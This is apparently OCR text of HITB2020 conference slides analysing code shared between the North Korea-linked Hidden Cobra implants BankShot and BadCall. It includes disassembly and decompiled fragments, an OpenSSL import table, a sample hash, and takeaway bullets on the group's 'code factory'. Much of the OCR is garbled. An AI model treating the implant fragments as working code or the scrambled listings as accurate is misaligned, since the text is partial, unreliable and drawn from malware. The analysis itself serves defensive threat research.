v2 strlen{aQ45tyuéhguhi?sS) + 1;

vy vz - 1;

gmemcpy{&vu5, aQa5tyubhguhi7?s, v2 - 1);
if ( sub_10882298(&v5, v2 - 1) == 1 )

sub_100018208(&v9);

by
b
sub_10002410(&v9);
b
vig = -1;
sub_10001F70(&v9);
return 0;

2cffc3dcf8ef45f1020c2bc65fb89444e5223325234a3cac8dabeb63f10f171¢

2/6/2016 DLL File

HITB2020
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https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF

Code DNA - BankShot BaaCall Code Snharing

SSLEAY32.DLL (OpenSSL) WS2_32.DLL (WinSock)

ED mas e, dh (g IO awde 200D
10001E20  sub 10001E20 = v e e
0040130 s 40130 0001E20  push b = - BADCALL SE 2 X BANKSHOT
00401C30  push eby INOAIEE1 sk - CEIE e T b -
00401C31  push abp . i R v e, e e Tl
. S - 10001E22 push esi K i e <an o] +
00‘501':'3? }‘-'uzl“ "_—f-‘i 10001E23 push eds BAN SHOT 1 T l
° ° DD-iDl-:?iJ pl_mh 'f"‘“ - - 10001E24  mow edi, ss: esprarg 4 = /
Both uses functionality and ST g — o —
00401C38 xor esi, esi 10001E2A rast edi, edi =a - wm ot
C3A rage ad ad
o qum:_j: o edd, edd 10001E2C  mov ebw, ecx 7
load the external librar mai e e iz o
00401C3E 0x401CEF
CORIEO  audy 40O TORTTO  ads_BO0TTO
- T G i B e
SSLEAY32.dll and WS2_32.dlI — =
0 10001E20  sub_10001E20 — N
00401C30  sub 401C30 10001E30  wow ebp, ss: espsarg 0 — . . T
00401C40 mov ebp, sas: espsarg 0 - — > — x in i .
\ \
|ll \l
. \ \
¥ \ |
10001E20 sub 10001E20
LUl e e 10001E34  mov cax, edi —— e i s
AL b L 10001E36  sub eax, esi e =il :
e S eax, esl 10001E38  cmp eax, 0x4000 == i i
LD L e 10001E3D  jle 0x10001E44 o : s
00401C4D  jle 0x401C54 e m e o ro o .

wﬂxg “_MD " - |
10001E20  sub_10001E20 e a1
Sotrial Dol 10001E3F  mov eax, 0x4000 = G s
00401C4F  mow eax, 0x4000 - = e )
SSLEAY32.DLL SSLEAY32 DLL = -

)

N
\ | | 10001E20 =sub_10001E20
1 33:3:.522 1 10001E44  mow ecx, ds:ebx+B
\ 00401-:57 \ 10001E47  push eax
- 10001E48 laa eax, ds: esisebp
| 00401C58 L | 10001848  push eax
1 00401C5E ST L LS ;
“‘35“1‘:5" 10001E4D call SSLEAY32 108
I 00401C5D TOOTE S =TT [53:9 S FIun eru 1> o
uuwr-t’:z 10001E55 est eax, eax
00401C65  test 2ax, eax 10001E57 la 0x10001ESF
00401C67

10001E20 sub 10001E20
00401C30 sub 401C30 T

LEL - 10001E59  add esi, eax
bl e Shllp G 10001ESE  cmp esi, eds
Ltz g Shhy GEb 10001E5D 41 0x10001E34
00401CED 41 0x401C44

CODIED e LOXIO OOMRKIO Ak 4010 WOOTTO IIOI0 el 100010
i = ol e
:
:
Y :
\ :
10001E20 sub 10001E20 :
00401C30 sub 401C30 10001E5F %or eax, eax :
" as e . N b :
00401CeF  xor “ax, eax 10001EA1  cmp esi, edi \ \
oo4o1c? cap esi, edi 10001E63  pep edi \ \
00401CT3 - pop et 10001E64  pop esi \ \
00-501:: p,p »T‘s:. 10001EAS pop ebp |'| |"
00401‘:;7 pop ebp 10001E66  pop abx \ \
00401C78  pop ebx 10001EAT  setnz bl al < '
puamerr o sens oo 10001E6A  retn b2 8 carn wa e e
00401CTA retn b2 8 -4 g 1ITIE gy ¥
e el - da
e S il S

-
3

0040E134 12 SSLEAY32_12 SSLEAY32
0040E138 116 SSLEAY32_116 SSLEAY32
0040E13C 74 SSLEAY32_74 SSLEAY32
0040E140 183 SSLEAY32_183 SSLEAY32
0040E144 43 SSLEAY32_43 SSLEAY32
0040E148 87 SSLEAY32_87 SSLEAY32
0040E14C 75 SSLEAY32_75 SSLEAY32
0040E150 108 SSLEAY32_108 SSLEAY32
0040E154 78 SSLEAY32_78 SSLEAY32
0040E158 8 SSLEAY32_8 SSLEAY32
Q040E15C 48 SSLEAY32 48 SSLEAY3?2
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Code Factory — Shared Functions

* Multiple implant families shared
code amongst each other — this
Is also indictive based on
sharing of development
environments

* Hidden Cobra uses a code
factory type approach in
building implants
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Take away

* Hidden Cobra is a well organized and aggressive attacker.
* They conduct cyberespionage, sabotage and cybercrime campaign.
* They keep updating their tools and arsenal since more than a decade.

* Following their campaigns along with graph correlation allowing us to
proactively detect new threat and draw the story behind.

* Analyzing and study reveal that multiple team inside the group are
working with same malware DNA but for different goals.
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